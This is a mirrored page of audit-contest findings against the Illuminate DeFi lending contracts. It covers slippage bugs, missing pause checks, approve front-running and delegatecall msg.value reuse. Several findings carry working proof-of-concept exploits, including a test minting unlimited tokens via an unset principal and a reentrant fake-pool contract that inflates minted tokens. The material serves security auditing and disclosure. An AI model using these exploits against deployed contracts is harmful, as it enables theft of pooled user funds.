GithubHelp home page GithubHelp logo

2022-10-illuminate-judging's People

Contributors

hrishibhat avatar sherlock-admin avatar

Stargazers

 avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

2022-10-illuminate-judging's Issues

windowhan_kalosec - batch function using delegatecall can abuse contract

windowhan_kalosec

low

batch function using delegatecall can abuse contract

Summary

batch function using delegatecall can abuse contract because msg.value can be maintaining in numerable delegatecall.

Vulnerability Detail

similar vulnerability was already occured in real world.
https://blog.trailofbits.com/2021/12/16/detecting-miso-and-opyns-msg-value-reuse-vulnerability-with-slither/
numerable delegatecall in one payable function calling do not pay msg.value per delegatecall.
msg.value is paid only once, not multiple times.

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L615-L627

(The same issue exists with Lender.sol)

Impact

Low.
payable function is not exists in Marketplace.sol yet.
if, project team add new payable function due to update, batch function is so dangerous

Recommendation

remove batch function or remove payable keyword.

Bnke0x0 - sellPrincipalToken, buyPrincipalToken, sellUnderlying, buyUnderlying uses pool funds but pays msg.sender

Bnke0x0

medium

sellPrincipalToken, buyPrincipalToken, sellUnderlying, buyUnderlying uses pool funds but pays msg.sender

Summary

Vulnerability Detail

sellPrincipalToken, buyPrincipalToken, sellUnderlying, buyUnderlying are all unpermissioned and use marketplace funds to complete the action but send the resulting tokens to msg.sender. This means that any address can call these functions and steal the resulting funds.

Impact

Fund loss from the marketplace

Code Snippet

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L285-L425

       'function sellPrincipalToken(
    address u,
    uint256 m,
    uint128 a,
    uint128 s
) external returns (uint128) {
    // Get the pool for the market
    IPool pool = IPool(pools[u][m]);

    // Preview amount of underlying received by selling `a` PTs
    uint256 expected = pool.sellFYTokenPreview(a);

    if (expected < s) {
        revert Exception(16, expected, s, address(0), address(0));
    }

    // Transfer the principal tokens to the pool
    Safe.transferFrom(
        IERC20(address(pool.fyToken())),
        msg.sender,
        address(pool),
        a
    );

    // Execute the swap
    uint128 received = pool.sellFYToken(msg.sender, uint128(expected));
    emit Swap(u, m, address(pool.fyToken()), u, received, a, msg.sender);

    return received;
}

/// @notice buys the PT for the underlying via the pool
/// @notice determines how many underlying to sell by using the preview
/// @param u address of an underlying asset
/// @param m maturity (timestamp) of the market
/// @param a amount of PTs to be purchased
/// @param s slippage cap, maximum number of underlying that can be sold
/// @return uint128 amount of underlying sold
function buyPrincipalToken(
    address u,
    uint256 m,
    uint128 a,
    uint128 s
) external returns (uint128) {
    // Get the pool for the market
    IPool pool = IPool(pools[u][m]);

    // Get the amount of base hypothetically required to purchase `a` PTs
    uint128 expected = pool.buyFYTokenPreview(a);

    // Verify that the amount needed does not exceed the slippage parameter
    if (expected > s) {
        revert Exception(16, expected, 0, address(0), address(0));
    }

    // Transfer the underlying tokens to the pool
    Safe.transferFrom(
        IERC20(pool.base()),
        msg.sender,
        address(pool),
        expected
    );

    // Execute the swap to purchase `a` base tokens
    uint128 spent = pool.buyFYToken(msg.sender, a, 0);
    emit Swap(u, m, u, address(pool.fyToken()), a, spent, msg.sender);

    return spent;
}

/// @notice sells the underlying for the PT via the pool
/// @param u address of an underlying asset
/// @param m maturity (timestamp) of the market
/// @param a amount of underlying to sell
/// @param s slippage cap, minimum number of PTs that must be received
/// @return uint128 amount of PT purchased
function sellUnderlying(
    address u,
    uint256 m,
    uint128 a,
    uint128 s
) external returns (uint128) {
    // Get the pool for the market
    IPool pool = IPool(pools[u][m]);

    // Get the number of PTs received for selling `a` underlying tokens
    uint128 expected = pool.sellBasePreview(a);

    // Verify slippage does not exceed the one set by the user
    if (expected < s) {
        revert Exception(16, expected, 0, address(0), address(0));
    }

    // Transfer the underlying tokens to the pool
    Safe.transferFrom(IERC20(pool.base()), msg.sender, address(pool), a);

    // Execute the swap
    uint128 received = pool.sellBase(msg.sender, expected);

    emit Swap(u, m, u, address(pool.fyToken()), received, a, msg.sender);
    return received;
}

/// @notice buys the underlying for the PT via the pool
/// @notice determines how many PTs to sell by using the preview
/// @param u address of an underlying asset
/// @param m maturity (timestamp) of the market
/// @param a amount of underlying to be purchased
/// @param s slippage cap, maximum number of PTs that can be sold
/// @return uint128 amount of PTs sold
function buyUnderlying(
    address u,
    uint256 m,
    uint128 a,
    uint128 s
) external returns (uint128) {
    // Get the pool for the market
    IPool pool = IPool(pools[u][m]);

    // Get the amount of PTs hypothetically required to purchase `a` underlying
    uint256 expected = pool.buyBasePreview(a);

    // Verify that the amount needed does not exceed the slippage parameter
    if (expected > s) {
        revert Exception(16, expected, 0, address(0), address(0));
    }

    // Transfer the principal tokens to the pool
    Safe.transferFrom(
        IERC20(address(pool.fyToken())),
        msg.sender,
        address(pool),
        expected
    );

    // Execute the swap to purchase `a` underlying tokens
    uint128 spent = pool.buyBase(msg.sender, a, 0);

    emit Swap(u, m, address(pool.fyToken()), u, a, spent, msg.sender);
    return spent;
}

'

Tool used

Manual Review

Recommendation

All functions should use safetransfer to get funds from msg.sender not from marketplace

kenzo - Wrong slippage control in `ERC5095.mint` will make user get less tokens than deserved

kenzo

medium

Wrong slippage control in ERC5095.mint will make user get less tokens than deserved

Summary

When a user is buying iPTs using ERC5095.mint , mint tells Marketplace that the minimum amount out should be assets - (assets / 100) instead of shares - (shares/ 100).

Vulnerability Detail

Since iPTs trade at a discount, the assets supplied will always be less than the shares bought.
By setting the slippage to use assets instead of shares, the user is "guaranteed" (by MEV bots) to get iPT equal to the amount of underlying assets he supplied. (Even a little less with the 1% slippage.)
But this negates the whole point of buying PTs, as he didn't get any market discount on them. He simply exchanged his underlying for less PTs (99%) which are also worth less in the market. He can either have them locked until maturity not earning any yield, or sell them at a loss.

Impact

User loses 1% of his underlying, and the rest is frozen until maturity or has to be sold for a loss.
This negates the whole point of interacting with Illuminate, as described above.

Code Snippet

Marketplace.sellUnderlying takes the minimum amount of iPTs to be received as the 4th parameter:

    /// @param s slippage cap, minimum number of PTs that must be received
    function sellUnderlying(address u, uint256 m, uint128 a, uint128 s) external returns (uint128) {

But ERC5095 sends to Marketplace the asset amount in the slippage control, instead of the shares amount (s).

        uint128 returned = IMarketPlace(marketplace).sellUnderlying(
            underlying,
            maturity,
            assets,
            assets - (assets / 100)
        );

Therefore the abovementioned discrepancy happens.

Tool used

Manual Review

Recommendation

The 4th parameter to sellUnderlying should be changed to s - (s / 100).

Duplicate of #31

kenzo - Infinite minting is possible for markets who don't support all protocols

kenzo

high

Infinite minting is possible for markets who don't support all protocols

Summary

When a market does not support all of the lending protocols, an attacker can mint infinite amount of iPTs.
This is because Lender does not check that the PT contract exists. So when an attacker calls mint, Lender will "transfer" PTs from the 0-address, without really checking for success, and then proceed to mint the attacker iPTs for free.

In fact, one could say that like K's Choice, the attacker would get Everything For Free.

Vulnerability Detail

Using Lender's mint function, the user can supply a protocol principal (eg. Notional's PTs) that Lender will pull, and then mint to the user the equivalent amount of iPTs.
But not all protocols might be set in a certain market. (This can be evidenced by the setPrinicipal function, which allows the admin to set a market at a later date. And also by the fact that evidently not all protocols have the same active markets.)
If a protocol is not set, it's principal token in Illuminate is the 0 address.
When Lender tries to pull tokens from the user (using Safe library), a call to the 0 address wouldn't revert, so Lender would think that the transfer succeeded.
It will then proceed to mint to the user (attacker?) the corresponding amount of iPTs that the user supplied as parameter - even though in actuality the user hasn't sent any tokens.

Impact

A user can mint infinite (or arbitrary) amount of iPTs for free.
He can then proceed to dump them on the market and make their value 0, or redeem them later, or mint them just before a market matures - and then redeem them for the underlying, on the expense of other users.

Code Snippet

Lender's mint function takes any p as input. It then tries to pull the tokens from the user using Safe, and proceeds to mint the corresponding amount of iPTs.

    function mint(uint8 p, address u, uint256 m, uint256 a) external unpaused(u, m, p) returns (bool) {
        address principal = IMarketPlace(marketPlace).token(u, m, p);
        Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);
        IERC5095(principalToken(u, m)).authMint(msg.sender, a);
        emit Mint(p, u, m, a);
        return true;
    }

Safe.transferFrom will return true if there was no return data:

                // There was no return data.
                result := 1

Therefore, Illuminate will think transferFrom has succeeded and will proceed to mint the attacker the amount of tokens he supplied as parameter.

Proof of Concept

You can add the following test to fork/Lender.t.sol to see that when a market is not set, an attacker can mint infinite amount of iPTs.

    // Based on deployMarket but with empty Notional prinicipal
    function deployMarketWithEmptyPrincipal(address u) internal {
        l.setMarketPlace(address(mp));
        // Create a market
        address[8] memory contracts;
        contracts[0] = Contracts.SWIVEL_TOKEN; // Swivel
        contracts[1] = Contracts.YIELD_TOKEN; // Yield
        contracts[2] = Contracts.ELEMENT_TOKEN; // Element
        contracts[3] = Contracts.PENDLE_TOKEN; // Pendle
        contracts[4] = Contracts.TEMPUS_TOKEN; // Tempus
        contracts[5] = Contracts.SENSE_TOKEN; // Sense
        contracts[6] = Contracts.APWINE_TOKEN; // APWine
        contracts[7] = address(0); // Empty principal for Notional

        mp.createMarket(
            u,
            maturity,
            contracts,
            'TEST-TOKEN',
            'TEST',
            Contracts.ELEMENT_VAULT,
            Contracts.APWINE_ROUTER
        );
    }

    function testInfiniteMintWithEmptyPrincipal() public {
        deployMarketWithEmptyPrincipal(Contracts.USDC);

        // Run cheats/approvals
        runCheatcodes(Contracts.USDC);

        uint256 wowMuchTokensBigAmount = type(uint256).max;

        l.mint(uint8(8), Contracts.USDC, maturity, wowMuchTokensBigAmount);

        address ipt = mp.markets(Contracts.USDC, maturity, 0);
        assertEq(wowMuchTokensBigAmount, IERC20(ipt).balanceOf(msg.sender));
    }

Tool used

Manual Review

Recommendation

In Lender's mint, do not allow minting if the PT is address 0 (= if the protocol is not set for this market.)

Duplicate of #238

windowhan_kalosec - batch function using delegatecall can abuse contract

windowhan_kalosec

low

batch function using delegatecall can abuse contract

Summary

batch function using delegatecall can abuse contract because msg.value can be maintaining in numerable delegatecall.

Vulnerability Detail

similar vulnerability was already occured in real world.
https://blog.trailofbits.com/2021/12/16/detecting-miso-and-opyns-msg-value-reuse-vulnerability-with-slither/
numerable delegatecall in one payable function calling do not pay msg.value per delegatecall.
msg.value is paid only once, not multiple times.

(The same issue exists with Lender.sol)

Impact

payable function is not exists in Marketplace.sol yet.
if, project team add new payable function due to update, batch function is so dangerous

Code Snippet

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L615-L627

Tool used

Manual Review

Recommendation

remove batch function or remove payable keyword.

windowhan_kalosec - ERC5095 approve front-running

windowhan_kalosec

medium

ERC5095 approve front-running

Summary

ERC5095 inherits from ERC20.
There is a front-running vulnerability for approve, which can cause problems when calling withdraw function later.

Vulnerability Detail

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC5095.sol#L209-L277

When calling the withdraw function, you can withdraw the target user's token if it has already been approved as approve.
If the target user intended to approve only about 100 tokens to you, you can withdraw more than 100 tokens due to the approve function front running.

https://swcregistry.io/docs/SWC-114
In this above link, more detail explaination is exists.

Impact

Medium

Code Snippet

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC20.sol#L85-L95

Tool used

Manual Review

Recommendation

remove approve function and add below code.

function _decreaseAllowance(address src, uint256 wad) external virtual override {
    _decreaseAllowance(src, wad);
}
function _decreaseAllowance(address src, uint256 wad)
        internal
        virtual
        returns (bool)
    {
        if (src != msg.sender) {
            uint256 allowed = _allowance[src][msg.sender];
            if (allowed != type(uint256).max) {
                    _setAllowance(src, msg.sender, allowed - wad);
            }
        }

        return true;
    }

function _addAllowance(address src, uint256 wad) internal virtual returns (bool) {
        if (src != msg.sender) {
            uint256 allowed = _allowance[src][msg.sender];
            if (allowed != type(uint256).max) {
                _setAllowance(src, msg.sender, allowed + wad);
            }
        }

        return true;
    }
function addAllowance(address src, uint256 wad) external virtual override {
    _addAllowance(src, wad);
}

kenzo - Users might redeem their iPTs before Lender's PTs have been redeemed

kenzo

medium

Users might redeem their iPTs before Lender's PTs have been redeemed

Summary

If users redeem their iPTs before the individual protocols markets have been redeemed for underlying,
the users will lose their funds.
While you are probably aware of the issue, I think it is worth bringing up, as it is fixable and can lead to loss of user funds.

Vulnerability Detail

Redeemer allows users to redeem their iPTs as soon as the iPT matures.
There is no guarantee that all the protocol PTs have been redeemed at that point.
As Redeemer sends to the user his pro rata shares of the underlying redeemed, if the underlying has not been redeemed, user will not get his underlying back.

While Illuminate can set the iPT maturity to be larger than the protocol PTs maturity, it has an interest to make this difference as small as possible, otherwise user tokens are locked without generating yield and without good reason.

Impact

If a user redeem his iPTs before protocol PTs have been redeemed, he will burn all his iPTs and get 0 underlying.
When afterwards markets are redeemed and other users redeem their PTs, they will get underlying that belongs to that previous user, thereby making recovery of funds "impossible".

Note that it is not trivial for users or contracts to check whether all markets have been redeemed.
Therefore they may accidently redeem prematurely and lose tokens.
As this kinda requires user error, I have rated this as Medium severity.
In my issue #8, I show how the autoRedeem mechanism, combined with this current issue, allows stealing of user funds.
I believe that these issues are separate, as even if you hold that this (imo legitimate) current issue is a design choice and risk you're aware off, the other issue combines it with autoRedeem to show how autoRedeem puts funds at risk.

Code Snippet

When looking at the redeem that redeems iPTs for underlying, we can see it just checks that the iPT matured, and then sends to the user his pro rata shares of the underlying redeemed.

    function redeem(address u, uint256 m) external unpaused(u, m) {
        IERC5095 token = IERC5095(IMarketPlace(marketPlace).token(u, m, uint8(MarketPlace.Principals.Illuminate)));
        if (block.timestamp < token.maturity()) {
            revert Exception(7, block.timestamp, m, address(0), address(0));
        }
        uint256 amount = token.balanceOf(msg.sender);
        uint256 redeemed = (amount * holdings[u][m]) / token.totalSupply();
        holdings[u][m] = holdings[u][m] - redeemed;
        token.authBurn(msg.sender, amount);
        Safe.transfer(IERC20(u), msg.sender, redeemed);
    }

Therefore if user/contract quickly tries to redeem his iPTs, and protocol redeems have not yet been completed, user would not get his correct share of the underlying.

Tool used

Manual Review

Recommendation

Only allow redemptions if all the markets have been redeemed.
You can leave an emergencyRedeem function that redeems regardless of this check.
You can also use the unpaused modifier to block redemptions before all underlying has been redeemed, but that is a needlessly centralized approach.

So how I would do it is:

  • Implement the fix to not allow minting matured PTs - detailed in my issue #2. This will enforce that when a market is redeemed, all the PTs are indeed being redeemed.
  • When redeeming a market (u/m/p combination), set a "redeemed" boolean (or bitmap) signifying it.
  • Add a function that checks whether all the prinicipals (p) that are set for a certain market (u/m) have been redeemed. If yes, it sets a boolean that shows that the u/m market have been redeemed. This function will need to be called after all the individual markets have been redeemed.
  • Change the Illuminate redeem function (and also authRedeem and autoRedeem) to only redeem if the u/m market redemption flag from previous step is true.
  • These steps should guarantee that a user/smart-contract can't accidently burn their iPTs before markets have been redeemed.
  • Consider adding an emergencyRedeem function that will redeem the iPTs regardless of whether u/m has been redeemed.

Duplicate of #239

0xmuxyz - Any external users can mint any amount of the Illuminate principal tokens due to lack of validations on mint() function in the Lender.sol

0xmuxyz

high

Any external users can mint any amount of the Illuminate principal tokens due to lack of validations on mint() function in the Lender.sol

Summary

  • Any external users can mint any amount of the Illuminate principal tokens due to lack of validations on mint() function in the Lender.sol.

Vulnerability Detail

  • Lack of validations on mint() function that allow any external users to be able to mint any amount of the Illuminate principal tokens (Illuminate's ERC5095 tokens).

Impact

  • There is no validations such as access control modifiers on mint() function in the Lender.sol.
    • As a result, any external users can mint any amount of the Illuminate principal tokens (Illuminate's ERC5095 tokens) directly via calling mint() function directly.
      • This lead to an exploit that give large fixed-rate positions to malicious attackers (attacker's wallet or attacker's contract) without lending proper amount of underlying tokens.

Code Snippet (include PoC)

    function mint(
        uint8 p,
        address u,
        uint256 m,
        uint256 a
    ) external unpaused(u, m, p) returns (bool) {
        // Fetch the desired principal token
        address principal = IMarketPlace(marketPlace).token(u, m, p);

        // Transfer the users principal tokens to the lender contract
        Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);

        // Mint the tokens received from the user
        IERC5095(principalToken(u, m)).authMint(msg.sender, a);

        emit Mint(p, u, m, a);

        return true;
    }

    //@dev - This is a vulnerability that anyone can mint iPTs (the Illuminate Principal Tokens)
    //@dev - Below is a PoC of exploit of Lender#mint()
    function testExploit_mint() public {
        //@dev - Create a EOA address of an attacker
        address ATTACKER = makeAddr("attacker");

        //@dev - Set the attacker's EOA address as a caller
        vm.startPrank(ATTACKER);

        //@dev - Mint iPTs to the attacker's EOA address
        uint8 p = 1;
        address u = underlying;  // Mock underlying token (ERC20)
        uint256 m = 1;
        //uint256 a = 1;                // Minted-amount is 1
        uint256 a = type(uint256).max;  // Minted-amount is max amount
        bool resultOfMint = l.mint(p, u, m, a);
        assertEq(resultOfMint, true);

        vm.stopPrank();

        //@dev - Check the result whether max amount of iPTs are minted to the attacker's EOA address or not
        uint iptBalanceAfterExploit = ipt.mintCalled(ATTACKER);
        console.log("iPT balance of the attacker's EOA address (after this exploit):", iptBalanceAfterExploit);
        assertEq(iptBalanceAfterExploit, a);
    }

  • Result of PoC above:
    • At first, we can see that an attacker's EOA address mint max amount of iPTs. (= 115792089237316195423570985008687907853269984665640564039457584007913129639935)
    • Finally, we can confirm that the iPT balance of an attacker's EOA address after exploit is max amount of iPTs. (by using IlluminatePrincipalToken#mintCalled() method)
      Screen Shot 2022-10-30 at 17 47 43

Tool used

  • Manual Review in Foundry

Recommendation

rvierdiiev - Lender.yield revert when amount recieved == minimum

rvierdiiev

medium

Lender.yield revert when amount recieved == minimum

Summary

Lender.yield revert when amount recieved == minimum

Vulnerability Detail

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L928-L957

    function yield(
        address u,
        address y,
        uint256 a,
        address r,
        address p,
        uint256 m
    ) internal returns (uint256) {
        // Get the starting balance (to verify receipt of tokens)
        uint256 starting = IERC20(p).balanceOf(r);


        // Get the amount of tokens received for swapping underlying
        uint128 returned = IYield(y).sellBasePreview(Cast.u128(a));


        // Send the remaining amount to the Yield pool
        Safe.transfer(IERC20(u), y, a);


        // Lend out the remaining tokens in the Yield pool
        IYield(y).sellBase(r, returned);


        // Get the ending balance of principal tokens (must be at least starting + returned)
        uint256 received = IERC20(p).balanceOf(r) - starting;


        // Verify receipt of PTs from Yield Space Pool
        if (received <= m) {
            revert Exception(11, received, m, address(0), address(0));
        }


        return received;
    }

The check for minimum allowed amount is incorrect.

// Verify receipt of PTs from Yield Space Pool
        if (received <= m) {
            revert Exception(11, received, m, address(0), address(0));
        }

It should allow minimum amount.

Impact

When minimum amount provided by user is received, function reverts.

Code Snippet

Provided above.

Tool used

Manual Review

Recommendation

Change to this

// Verify receipt of PTs from Yield Space Pool
        if (received < m) {
            revert Exception(11, received, m, address(0), address(0));
        }

Duplicate of #135

csanuragjain - Deposit/mint possible at maturity

csanuragjain

medium

Deposit/mint possible at maturity

Summary

As per comment on deposit and mint, revert should happen at maturity which wont happen since = check is missing

Vulnerability Detail

  1. Observe the deposit function
/// @notice Before maturity spends `assets` of underlying, and sends `shares` of PTs to `receiver`. Post or at maturity, reverts.

function deposit(address r, uint256 a) external override returns (uint256) {
        if (block.timestamp > maturity) {
            revert Exception(
                21,
                block.timestamp,
                maturity,
                address(0),
                address(0)
            );
        }
...
}
  1. As per comments the revert should happen Post or at maturity but as per code this only happens post maturity and not at maturity

Impact

deposit and mint will happen at maturity even though it is not allowed as per comments

Code Snippet

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC5095.sol#L149
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC5095.sol#L176

Tool used

Manual Review

Recommendation

Revise the condition as below:

if (block.timestamp >= maturity) {
            revert Exception(
                21,
                block.timestamp,
                maturity,
                address(0),
                address(0)
            );
        }

rvierdiiev - ERC5095.mint function calculates slippage incorrectly

rvierdiiev

high

ERC5095.mint function calculates slippage incorrectly

Summary

ERC5095.mint function calculates slippage incorrectly. This leads to lost of funds for user.

Vulnerability Detail

ERC5095.mint function should take amount of shares that user wants to receive and then buy this amount. It uses hardcoded 1% slippage when trades base tokens for principal. But it takes 1% of calculated assets amount, not shares.

    function mint(address r, uint256 s) external override returns (uint256) {
        if (block.timestamp > maturity) {
            revert Exception(
                21,
                block.timestamp,
                maturity,
                address(0),
                address(0)
            );
        }
        uint128 assets = Cast.u128(previewMint(s));
        Safe.transferFrom(
            IERC20(underlying),
            msg.sender,
            address(this),
            assets
        );
        // consider the hardcoded slippage limit, 4626 compliance requires no minimum param.
        uint128 returned = IMarketPlace(marketplace).sellUnderlying(
            underlying,
            maturity,
            assets,
            assets - (assets / 100)
        );
        _transfer(address(this), r, returned);
        return returned;
    }

This is how slippage is provided

uint128 returned = IMarketPlace(marketplace).sellUnderlying(
            underlying,
            maturity,
            assets,
            assets - (assets / 100)
        );

But the problem is that assets it is amount of base tokens that user should pay for the shares he want to receive. Slippage should be calculated using shares amount user expect to get.

Example.
User calls mint and provides amount 1000. That means that he wants to get 1000 principal tokens. While converting to assets, assets = 990. That means that user should pay 990 base tokens to get 1000 principal tokens.
Then the sellUnderlying is send and slippage provided is 990*0.99=980.1. So when something happens with price it's possible that user will receive 980.1 principal tokens instead of 1000 which is 2% lost.

To fix this you should provide s - (s / 100) as slippage.

Impact

Lost of users funds.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

Use this.

uint128 returned = IMarketPlace(marketplace).sellUnderlying(
            underlying,
            maturity,
            assets,
            s- (s / 100)
        );

rvierdiiev - Redeemer.autoRedeem relies on base token allowance. This can be maliciously used.

rvierdiiev

high

Redeemer.autoRedeem relies on base token allowance. This can be maliciously used.

Summary

Redeemer.autoRedeem relies on base token allowance. This can be maliciously used.

Vulnerability Detail

As i disscussed with sponsor, Redeemer.autoRedeem function can be triggered by any actor. This function will redeem iPT of users provided in the list and the msg.sender will get some fee(this fee is paid by user provided in the list, not protocol). To agree with such redeem user should provide allowance on base token to Redeemer address for the amount more then iPT balance of user.

So if you have some iPT and you don't mind if someone will redeem then instead of you, then you should provide allowance to Redeemer with amount > then your iPT balance.

This is the main part of function that we need to look into
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L511-L525

            uint256 allowance = uToken.allowance(f[i], address(this));

            // Get the amount of tokens held by the owner
            uint256 amount = pt.balanceOf(f[i]);

            // Calculate how many tokens the user should receive
            uint256 redeemed = (amount * holdings[u][m]) / pt.totalSupply();

            // Calculate the fees to be received (currently .025%)
            uint256 fee = redeemed / feenominator;

            // Verify allowance
            if (allowance < amount) {
                revert Exception(20, allowance, amount, address(0), address(0));
            }

Let's consider next situation.

User have 100 iPT with maturity 1.01.2023 and also user has 100 iPT with maturity 1.02.2023. Both them use same base token.
On time > 1.02.2023 all tokens can be redeemed and user wants to allow to redeem with fee only 100 iPT with maturity 1.01.2023. So he provides allowance in base token for Redeemer with amount 100.
He expects that only 100 iPT with maturity 1.01.2023 will be redeemed with fee.
But the problem is that autoRedeem function do not care about maturity of iPT, it handles all iPT with different maturity same. You just need to have allowance in base token.

Now another actor can redeem both 100 iPT with maturity 1.01.2023 and 100 iPT with maturity 1.02.2023 tokens and get fee.

As you can see this mechanism do not protect user from redeeming all his tokens with fee.
Also another thing is that after the redeeming if user bought new iPS tokens with another maturity and amount <= allowance, then another actor again can redeem them after maturity as allowance is still there.

Impact

User lose on redemption fees. Users funds are converted without his contest.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

Looks like you can't handle different maturity iPS in such way as they use same base token. Also allowance is always present till it will be deleted by user, but it's not convinient, he can forget.

Duplicate of #205

Bnke0x0 - Converter.sol .transfer is bad practice

Bnke0x0

high

Converter.sol .transfer is bad practice

Summary

Vulnerability Detail

Converter.sol .transfer is bad practice

Impact

Using .transfer to send ether is now considered bad practice as gas costs can change, breaking the code. See:https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/https://chainsecurity.com/istanbul-hardfork-eips-increasing-gas-costs-and-more/

Code Snippet

https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Converter.sol#L48

      'Safe.transfer(IERC20(u), msg.sender, unwrapped);'

Tool used

Manual Review

Recommendation

Use call instead, and make sure to check for reentrancy.

windowhan_kalosec - batch function using delegatecall can abuse contract

windowhan_kalosec

low

batch function using delegatecall can abuse contract

Summary

batch function using delegatecall can abuse contract because msg.value can be maintaining in numerable delegatecall.

Vulnerability Detail

similar vulnerability was already occured in real world.
https://blog.trailofbits.com/2021/12/16/detecting-miso-and-opyns-msg-value-reuse-vulnerability-with-slither/
numerable delegatecall in one payable function calling do not pay msg.value per delegatecall.
msg.value is paid only once, not multiple times.

// Marketplace.sol
// Lender.sol
function batch(bytes[] calldata c)
        external
        payable
        returns (bytes[] memory results)
    {
        results = new bytes[](c.length);
        for (uint256 i; i < c.length; i++) {
            (bool success, bytes memory result) = address(this).delegatecall(
                c[i]
            );
            if (!success) revert(RevertMsgExtractor.getRevertMsg(result));
            results[i] = result;
        }
    }

Impact

Low.
payable function is not exists in Marketplace.sol yet.
if, project team add new payable function due to update, batch function is so dangerous

Recommendation

remove batch function or remove payable keyword.

rvierdiiev - Redeemer.autoRedeem and Redeemer.authRedeem can be called when paused

rvierdiiev

high

Redeemer.autoRedeem and Redeemer.authRedeem can be called when paused

Summary

Redeemer.autoRedeem and Redeemer.authRedeem can be called when paused

Vulnerability Detail

Function Redeemer.redeem uses unpaused(u, m) modifier to restrict access when market is paused.

This check is missed in both Redeemer.autoRedeem and Redeemer.authRedeem. They do not have such modifier, but should have.

Impact

Redeem can be called when market is paused.

Code Snippet

No code.

Tool used

Manual Review

Recommendation

Add modifier to the functions.

Duplicate of #113

Holmgren - Any user can receive arbitrarily large amount of Illuminate tokens for a small deposit by exploiting reentrancy in Lender

Holmgren

high

Any user can receive arbitrarily large amount of Illuminate tokens for a small deposit by exploiting reentrancy in Lender

Summary

Any user can receive arbitrarily large amount of Illuminate tokens for a small deposit by exploiting reentrancy in Lender.

Vulnerability Detail

Several of the Lender.lend(...) methods follow the following pattern:

  1. Calculate Lender's current balance of the Principal Token
  2. Call into a user-supplied address
  3. Calculate the new Lender's balance of the Principal Token
  4. Report difference between results from steps 3 and 1 as the amount of received Principal Tokens
  5. Issue a corresponding amount of Illuminate Principal Token to msg.sender

If in the step 2. the user-supplied address calls recursively into Lender.lend(...) the amount of received Principal Tokens will be accounted for multiple times.

Most Lender.lend(...) methods are vulnerable. Possible exceptions are those for Notional, Pendle and Tempus.

Impact

High - any user can manipulate Lender into minting and giving to the attacker arbitrary amount of Illuminate Principal Tokens.

Code Snippet

Patch adding a proof-of-concept test:

diff --git a/test/fork/AttackersContract.sol b/test/fork/AttackersContract.sol
new file mode 100644
index 0000000..818dd5b
--- /dev/null
+++ b/test/fork/AttackersContract.sol
@@ -0,0 +1,45 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.16;
+
+import 'src/interfaces/IYield.sol';
+import 'src/interfaces/IERC20.sol';
+import 'src/interfaces/ILender.sol';
+import 'src/Lender.sol';
+
+contract AttackersContract {
+    address pool;
+    address underlying;
+    uint256 maturity;
+    address owner;
+    address ipt;
+    constructor (address _pool, address _underlying, uint256 _maturity, address _ipt) {
+        pool = _pool;
+        underlying = _underlying;
+        maturity = _maturity;
+        owner = msg.sender;
+        ipt = _ipt;
+    }
+    // Basic IYield interface that Lender.lend(...) expects
+    function fyToken() external returns (address) {
+        return IYield(pool).fyToken();
+    }
+    // Basic IYield interface that Lender.lend(...) expects
+    function sellBasePreview(uint128 a) view external returns (uint128) {
+        return IYield(pool).sellBasePreview(a);
+    }
+    // This is where the magic happens
+    function sellBase(address r, uint128) external returns (uint128 result) {
+        IERC20(underlying).approve(r, type(uint256).max);
+        uint256 myBalance = IERC20(underlying).balanceOf(address(this));
+        // Re-enter Lener.lend(...), this time with the correct Yield Space Pool
+        result = uint128(Lender(r).lend(uint8(2),
+                                        underlying,
+                                        maturity,
+                                        myBalance,
+                                        pool,
+                                        myBalance));
+        // Transfer the Illuminate tokens to the attacker
+        IERC20(ipt).transfer(owner, IERC20(ipt).balanceOf(address(this)));
+    }
+
+}
\ No newline at end of file
diff --git a/test/fork/Lender.t.sol b/test/fork/Lender.t.sol
index 999aa2c..775859a 100644
--- a/test/fork/Lender.t.sol
+++ b/test/fork/Lender.t.sol
@@ -3,6 +3,7 @@ pragma solidity ^0.8.16;
 
 import 'forge-std/Test.sol';
 import 'test/fork/Contracts.sol';
+import 'test/fork/AttackersContract.sol';
 import 'test/lib/Hash.sol';
 
 import 'src/Lender.sol';
@@ -91,34 +92,37 @@ contract LenderTest is Test {
         IERC20(u).approve(address(l), 2**256 - 1);
     }
 
-    function testYieldLend() public {
+    function testYieldLend_reentrancy_exploit() public {
         // Set up the market
         deployMarket(Contracts.USDC);
 
         // Runs cheats/approvals
         runCheatcodes(Contracts.USDC);
 
+        address ipt = mp.markets(Contracts.USDC, maturity, 0);
+        address poolContract = Contracts.YIELD_POOL_USDC;
+        // Attacker deploys a malicious contract that pretends to be a Yield Space Pool
+        // but actually it re-enters Lender.lend(...)
+        address attackersContract = address(new AttackersContract(poolContract,
+                                                                  Contracts.USDC,
+                                                                  maturity,
+                                                                  ipt));
         // Execute the lend
         l.lend(
             uint8(2),
             Contracts.USDC,
             maturity,
             amount,
-            Contracts.YIELD_POOL_USDC,
+            attackersContract,
             amount + 1
         );
 
-        // Get the amount that should be transferred (sellBasePreview)
-        uint256 returned = IYield(Contracts.YIELD_POOL_USDC).sellBasePreview(
-            Cast.u128(amount - amount / FEENOMINATOR)
-        );
-
-        // Make sure the principal tokens were transferred to the lender
-        assertEq(returned, IERC20(Contracts.YIELD_TOKEN).balanceOf(address(l)));
-
-        // Make sure the user got the iPTs
-        address ipt = mp.markets(Contracts.USDC, maturity, 0);
-        assertEq(returned, IERC20(ipt).balanceOf(msg.sender));
